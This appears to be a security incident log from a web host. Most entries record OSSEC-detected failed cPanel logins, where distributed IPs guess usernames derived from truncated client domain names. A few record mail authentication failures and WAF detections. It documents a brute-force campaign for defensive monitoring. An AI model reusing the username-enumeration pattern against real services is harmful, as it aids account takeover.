# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.198.132.67
country_id: 69543
description:
[2026-06-27 01:36:42 +0000] info [cpaneld] 209.198.132.67 - sophieim "GET /login/?login_only=1&user=sophieim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sophieim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.186.57.37
country_id: 1210997
description:
[2026-06-27 01:36:59 +0000] info [cpaneld] 103.186.57.37 - sop "GET /login/?login_only=1&user=sop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.20.113.14
country_id: 3895114
description:
[2026-06-27 01:36:39 +0000] info [cpaneld] 190.20.113.14 - sophieimm "GET /login/?login_only=1&user=sophieimm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sophieimm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.61.9.196
country_id: 3469034
description:
[2026-06-27 01:37:02 +0000] info [cpaneld] 209.61.9.196 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.0.27
country_id: 1643084
description:
[2026-06-27 01:37:19 +0000] info [cpaneld] 103.190.0.27 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 01:37:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46952: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.230.203.60
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/infrastructures-routieres-le-togo-investit-18-milliards-cfa-en-entretien/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.230.203.60
country_id: 298795
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/infrastructures-routieres-le-togo-investit-18-milliards-cfa-en-entretien/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.148.158.96
country_id: 2661886
description:
[2026-06-27 01:42:09 +0000] info [cpaneld] 188.148.158.96 - centif "GET /login/?login_only=1&user=centif&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 01:42:06 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45314: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.115.147.1
country_id: 2017370
description:
[2026-06-27 01:42:15 +0000] info [cpaneld] 176.115.147.1 - cent "GET /login/?login_only=1&user=cent&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cent (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.101.87.20
country_id: 2589581
domain: mesyscom.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mesyscom.com/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.30
country_id: 6252001
description:
205.169.39.30 - - [27/Jun/2026:01:43:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857682&pdata=https%253A%252F%252Fconfortis.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782524607 HTTP/2.0" 302 0 confortis.tg "https://confortis.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.30


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.101.87.20
country_id: 2589581
domain: mesyscom.comhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mesyscom.comhttp/mesyscom.com/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.129.89.76
country_id: 3865483
description:
[2026-06-27 01:46:40 +0000] info [cpaneld] 186.129.89.76 - coger "GET /login/?login_only=1&user=coger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.158.248.252
country_id: 2400553
description:
[2026-06-27 01:46:51 +0000] info [cpaneld] 41.158.248.252 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.59.207.162
country_id: 3508796
description:
[2026-06-27 01:46:21 +0000] info [cpaneld] 154.59.207.162 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.56.133.218
country_id: 6252001
description:
[2026-06-27 01:46:33 +0000] info [cpaneld] 108.56.133.218 - cogeris "GET /login/?login_only=1&user=cogeris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeris (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.234.19.240
country_id: 2017370
description:
[2026-06-27 01:46:36 +0000] info [cpaneld] 80.234.19.240 - cogeri "GET /login/?login_only=1&user=cogeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.126.116.201
country_id: 2017370
description:
[2026-06-27 01:46:43 +0000] info [cpaneld] 92.126.116.201 - coge "GET /login/?login_only=1&user=coge&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coge (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.172.220.84
country_id: 3686110
description:
[2026-06-27 01:46:24 +0000] info [cpaneld] 38.172.220.84 - cogerisq "GET /login/?login_only=1&user=cogerisq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.0.88.85
country_id: 3469034
description:
[2026-06-27 01:49:19 +0000] info [cpaneld] 143.0.88.85 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.4.232.93
country_id: 6252001
description:
[2026-06-27 01:50:23 +0000] info [cpaneld] 172.4.232.93 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.99.28.99
country_id: 102358
description:
[2026-06-27 01:50:32 +0000] info [cpaneld] 94.99.28.99 - togoagropolestg "GET /login/?login_only=1&user=togoagropolestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagropolestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.190.138
country_id: 3996063
description:
[2026-06-27 01:50:35 +0000] info [cpaneld] 187.190.190.138 - togoagropo "GET /login/?login_only=1&user=togoagropo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagropo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.224.42.140
country_id: 3686110
description:
[2026-06-27 01:51:01 +0000] info [cpaneld] 38.224.42.140 - ekeas "GET /login/?login_only=1&user=ekeas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.233.33.217
country_id: 3469034
description:
[2026-06-27 01:51:05 +0000] info [cpaneld] 170.233.33.217 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.99.79.200
country_id: 3658394
description:
[2026-06-27 01:50:51 +0000] info [cpaneld] 190.99.79.200 - togoagr "GET /login/?login_only=1&user=togoagr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.242.234.106
country_id: 3469034
description:
[2026-06-27 01:50:56 +0000] info [cpaneld] 191.242.234.106 - ekeasa "GET /login/?login_only=1&user=ekeasa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.253.63.4
country_id: 1643084
description:
[2026-06-27 01:50:43 +0000] info [cpaneld] 182.253.63.4 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.210.128.138
country_id: 3996063
description:
[2026-06-27 01:50:47 +0000] info [cpaneld] 187.210.128.138 - togoagro "GET /login/?login_only=1&user=togoagro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.42.190.46
country_id: 3895114
description:
[2026-06-27 01:50:50 +0000] info [cpaneld] 181.42.190.46 - ekeasarlcom "GET /login/?login_only=1&user=ekeasarlcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarlcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.20.182.80
country_id: 3469034
description:
[2026-06-27 01:50:59 +0000] info [cpaneld] 160.20.182.80 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.0.127.91
country_id: 3469034
description:
[2026-06-27 01:50:56 +0000] info [cpaneld] 191.0.127.91 - togoag "GET /login/?login_only=1&user=togoag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.226.149.59
country_id: 3932488
description:
[2026-06-27 01:51:09 +0000] info [cpaneld] 38.226.149.59 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.163.182.42
country_id: 1282988
description:
[2026-06-27 01:51:11 +0000] info [cpaneld] 103.163.182.42 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.0.27
country_id: 1643084
description:
[2026-06-27 01:51:44 +0000] info [cpaneld] 103.190.0.27 - 2083ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.79.85.35
country_id: 3686110
description:
[2026-06-27 01:51:12 +0000] info [cpaneld] 181.79.85.35 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.70.102.226
country_id: 3469034
description:
[2026-06-27 01:52:52 +0000] info [cpaneld] 45.70.102.226 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.161.104.26
country_id: 1210997
description:
[2026-06-27 01:52:50 +0000] info [cpaneld] 103.161.104.26 - alerte "GET /login/?login_only=1&user=alerte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alerte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.251.212.99
country_id: 1562822
description:
[2026-06-27 01:53:05 +0000] info [cpaneld] 171.251.212.99 - aler "GET /login/?login_only=1&user=aler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aler (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.233.221.239
country_id: 3996063
description:
[2026-06-27 01:53:10 +0000] info [cpaneld] 187.233.221.239 - ale "GET /login/?login_only=1&user=ale&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ale (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.76.221.181
country_id: 1210997
description:
[2026-06-27 01:53:11 +0000] info [cpaneld] 203.76.221.181 - relancein "GET /login/?login_only=1&user=relancein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 112.201.207.223
country_id: 1694008
description:
[2026-06-27 01:52:55 +0000] info [cpaneld] 112.201.207.223 - relanceinfo "GET /login/?login_only=1&user=relanceinfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.45.135.112
country_id: 3865483
description:
[2026-06-27 01:52:59 +0000] info [cpaneld] 181.45.135.112 - alert "GET /login/?login_only=1&user=alert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.41.184
country_id: 3686110
description:
[2026-06-27 01:53:14 +0000] info [cpaneld] 38.19.41.184 - relancei "GET /login/?login_only=1&user=relancei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.191.78.245
country_id: 3469034
description:
[2026-06-27 01:53:22 +0000] info [cpaneld] 45.191.78.245 - relanc "GET /login/?login_only=1&user=relanc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.26.179.39
country_id: 2464461
description:
[2026-06-27 01:53:24 +0000] info [cpaneld] 197.26.179.39 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.220.167.152
country_id: 3469034
description:
[2026-06-27 01:53:28 +0000] info [cpaneld] 200.220.167.152 - rela "GET /login/?login_only=1&user=rela&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rela (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.229.86.45
country_id: 1210997
description:
[2026-06-27 01:53:33 +0000] info [cpaneld] 103.229.86.45 - rel "GET /login/?login_only=1&user=rel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.62.121.87
country_id: 102358
description:
[2026-06-27 01:53:19 +0000] info [cpaneld] 212.62.121.87 - relance "GET /login/?login_only=1&user=relance&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relance (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.52.73.195
country_id: 3469034
description:
[2026-06-27 01:53:35 +0000] info [cpaneld] 190.52.73.195 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 40.125.84.253
country_id: 6252001
domain: www.cameg-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-27 01:54:39 +0000] info [cpaneld] 38.72.131.163 - togocarr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.6.51.36
country_id: 597427
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2023/03/334771418_755226422652861_4341266271283220823_n-300x212.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.219.252.191
country_id: 3469034
description:
[2026-06-27 01:56:10 +0000] info [cpaneld] 186.219.252.191 - scafricaplc "GET /login/?login_only=1&user=scafricaplc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafricaplc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.83.181.142
country_id: 1643084
description:
[2026-06-27 01:55:21 +0000] info [cpaneld] 178.83.181.142 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.106.149.142
country_id: 3469034
description:
[2026-06-27 01:56:04 +0000] info [cpaneld] 200.106.149.142 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.33.215
country_id: 3895114
description:
[2026-06-27 01:56:12 +0000] info [cpaneld] 190.114.33.215 - scafricaplccom "GET /login/?login_only=1&user=scafricaplccom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafricaplccom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.74.255.101
country_id: 3625428
description:
[2026-06-27 01:56:51 +0000] info [cpaneld] 38.74.255.101 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.192.150.169
country_id: 3469034
description:
[2026-06-27 01:56:58 +0000] info [cpaneld] 200.192.150.169 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.23.22.136
country_id: 2361809
description:
[2026-06-27 01:56:45 +0000] info [cpaneld] 102.23.22.136 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.117.4.240
country_id: 1168579
description:
[2026-06-27 01:56:17 +0000] info [cpaneld] 153.117.4.240 - scafricap "GET /login/?login_only=1&user=scafricap&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafricap (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.145.190
country_id: 3469034
description:
[2026-06-27 01:56:19 +0000] info [cpaneld] 138.185.145.190 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.201.88.247
country_id: 2017370
description:
[2026-06-27 01:56:30 +0000] info [cpaneld] 185.201.88.247 - togocarrieretseviecom "GET /login/?login_only=1&user=togocarrieretseviecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretseviecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.230.200.196
country_id: 3895114
description:
[2026-06-27 01:56:36 +0000] info [cpaneld] 152.230.200.196 - togocarri "GET /login/?login_only=1&user=togocarri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.143.104
country_id: 3658394
description:
[2026-06-27 01:56:42 +0000] info [cpaneld] 157.100.143.104 - bier "GET /login/?login_only=1&user=bier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bier (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.221.124.209
country_id: 3469034
description:
[2026-06-27 01:56:33 +0000] info [cpaneld] 177.221.124.209 - togocarrie "GET /login/?login_only=1&user=togocarrie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.151.93.183
country_id: 2017370
description:
[2026-06-27 01:56:54 +0000] info [cpaneld] 90.151.93.183 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.169.236.75
country_id: 3996063
description:
[2026-06-27 01:56:32 +0000] info [cpaneld] 187.169.236.75 - scaf "GET /login/?login_only=1&user=scaf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scaf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.138.179.169
country_id: 2017370
description:
[2026-06-27 01:56:39 +0000] info [cpaneld] 78.138.179.169 - biere "GET /login/?login_only=1&user=biere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.189.43
country_id: 2542007
description:
[2026-06-27 01:56:44 +0000] info [cpaneld] 41.251.189.43 - bie "GET /login/?login_only=1&user=bie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.170.222.189
country_id: 1512440
description:
[2026-06-27 01:56:20 +0000] info [cpaneld] 93.170.222.189 - scafrica "GET /login/?login_only=1&user=scafrica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafrica (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.164.232.210
country_id: 3469034
description:
[2026-06-27 01:56:37 +0000] info [cpaneld] 45.164.232.210 - sca "GET /login/?login_only=1&user=sca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.0.224
country_id: 3895114
description:
[2026-06-27 01:57:27 +0000] info [cpaneld] 45.4.0.224 - lasnbtg "GET /login/?login_only=1&user=lasnbtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnbtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.168.190
country_id: 3658394
description:
[2026-06-27 01:57:35 +0000] info [cpaneld] 157.100.168.190 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.255.234.137
country_id: 3469034
description:
[2026-06-27 01:57:24 +0000] info [cpaneld] 138.255.234.137 - lasnb "GET /login/?login_only=1&user=lasnb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.105.239.135
country_id: 3996063
description:
[2026-06-27 01:58:36 +0000] info [cpaneld] 201.105.239.135 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.252.86.20
country_id: 2017370
description:
[2026-06-27 01:58:44 +0000] info [cpaneld] 109.252.86.20 - tp "GET /login/?login_only=1&user=tp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.173.35.45
country_id: 3865483
description:
[2026-06-27 01:59:07 +0000] info [cpaneld] 190.173.35.45 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.191.216.228
country_id: 1562822
description:
[2026-06-27 01:59:12 +0000] info [cpaneld] 113.191.216.228 - sococim "GET /login/?login_only=1&user=sococim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.74.9
country_id: 3469034
description:
[2026-06-27 01:59:20 +0000] info [cpaneld] 177.131.74.9 - sococi "GET /login/?login_only=1&user=sococi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.92.105.200
country_id: 2542007
description:
